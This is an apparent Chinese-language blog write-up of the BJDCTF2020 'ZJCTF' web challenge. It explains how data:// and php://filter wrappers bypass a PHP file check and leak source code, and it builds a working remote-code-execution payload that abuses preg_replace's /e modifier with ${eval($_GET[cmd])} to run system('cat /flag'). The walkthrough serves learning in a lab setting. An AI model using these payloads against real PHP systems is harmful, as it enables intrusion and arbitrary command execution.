CTF Web解题 · [BJDCTF2020]ZJCTF,不过如此

Aouos 发布于 2026-05-16 35 次阅读


开个新坑

这道题其实说起来也很简单,不过涉及到没见过的复刻写一遍。

启动靶机,访问直接给出了index.php的代码

<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php
} else {
    highlight_file(__FILE__);
}
?>

使用了file_get_contents代码,然后检测是否含有I have a dream,然后关于file字段,他会检测有无flag。

解题思路

  • 绕过 file_get_contents 条件
  • 绕过 preg_match 与文件包含
  • 读取 next.php 源码
  • preg_replace /e 漏洞原理
  • 构造 Payload 实现代码执行

1.绕过 file_get_contents 条件

要求file_get_contents($text) 的返回值完全等于字符串 I have a dream

file_get_contents 不仅支持本地文件路径,还支持 PHP 伪协议。如果直接传 $text=I have a dream,函数会试图打开一个文件名为 I have a dream 的文件,根本不存在。但我们可以使用 data:// 伪协议来构造任意文本内容。

  • data://text/plain,I have a dream 会返回纯文本 I have a dream
  • URL 编码后:data://text/plain,I%20have%20a%20dream

于是第一个参数 text 构造完毕。

2.绕过 preg_match 与文件包含

要求$file 中不能包含连续小写字符串 flag
目标:通过 include($file) 执行或读取到下一步的提示。

源码里非常明显地注释了 //next.php,说明下一步要包含的文件就是 next.phpnext.php 这个字符串中不含 flag,直接传入即可绕过检测。

于是第二个参数 file=next.php

?text=data://text/plain,I%20have%20a%20dream&file=next.php

3.读取 next.php 源码

因为 include 会直接执行 PHP 代码,如果文件中没有输出我们就看不到内容。此时可以用 php://filter 伪协议把文件内容以 Base64 的形式读出来,避免被执行。

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

得到 Base64 字符串后解码,拿到了 next.php 的源代码。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

分析源码

这里有两个重点:

  1. 存在一个永远不会被调用的 getFlag() 函数,内容为 @eval($_GET['cmd']);,这是一个预留的后门执行点,说明我们最终需要通过 eval 执行系统命令。
  2. 存在一个漏洞函数 complex(),使用了 PHP 5.x 中存在的 /e 修饰符。

4.preg_replace /e 漏洞原理

在正则末尾加上 e,例如 '/正则/e',PHP 会把 $replacement 参数 当作 PHP 代码来执行,执行结果才作为最终的替换文本。

preg_replace('/\d+/e', 'pow(2, \\0)', 'x 3 y 4');
// \\0 是匹配到的整个数字
// 实际执行了 pow(2, 3) 和 pow(2, 4)
// 返回:x 8 y 16

这里 \\0 被替换成匹配到的 3,然后执行 pow(2, 3) 得到 8看起来无害,但问题就出在这里

如果 $replacement 中引用了匹配到的子模式(\\1\\0 等),那么匹配到的字符串会被直接拼接到 PHP 代码里。一旦我们能控制匹配到的内容,就等于可以向执行的代码里注入任意 PHP 语句。

$pattern = '/(.*)/e';          // 匹配整个字符串
$replacement = 'strtoupper("\\1")'; // 期望把匹配内容转大写
$subject = 'hello';
echo preg_replace($pattern, $replacement, $subject);
// 执行:strtoupper("hello")  → 输出 HELLO

如果 $subject 是我们可控的,比如来自 $_GET['input'],那么可以传入:

hello"); phpinfo(); /*

替换后实际执行的代码变成:

strtoupper("hello"); phpinfo(); /*")

分号前面的 strtoupper("hello"); 正常执行,然后执行了我们注入的 phpinfo(),后面的 /* 把剩余部分注释掉避免语法错误。

5.构造 Payload 实现代码执行

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

本道题的代码这里:

  • $re 是我们 GET 参数的名字,被拼接成正则表达式。
  • $str 是 GET 参数的,作为被匹配的字符串。
  • 替换代码是 strtolower("\\1"),其中 \\1 会被替换成匹配到的内容

我们需要让 $str 里包含能闭合引号并注入代码的内容。但我们无法直接使用分号和注释符,因为 $str 整个会被放进 strtolower("..."),如果注入分号,会破坏函数调用语法。

于是利用双引号内的复杂变量解析 ${...}

PHP 在双引号字符串中看到 ${...} 会尝试执行花括号里的表达式。所以:

参数名(正则):\S*(匹配所有非空白字符)
参数值:{${eval($_GET[cmd])}}

preg_replace 执行后,替换代码变成:

strtolower("{${eval($_GET[cmd])}}")

于是构造的payload如下

?text=data://text/plain,I%20have%20a%20dream
&file=next.php
&\S*={${eval($_GET[cmd])}}
&cmd=system('cat /flag');

总结

题目并不难,一环扣一环出的有点小巧思,遂记录

全都不会写!
最后更新于 2026-05-16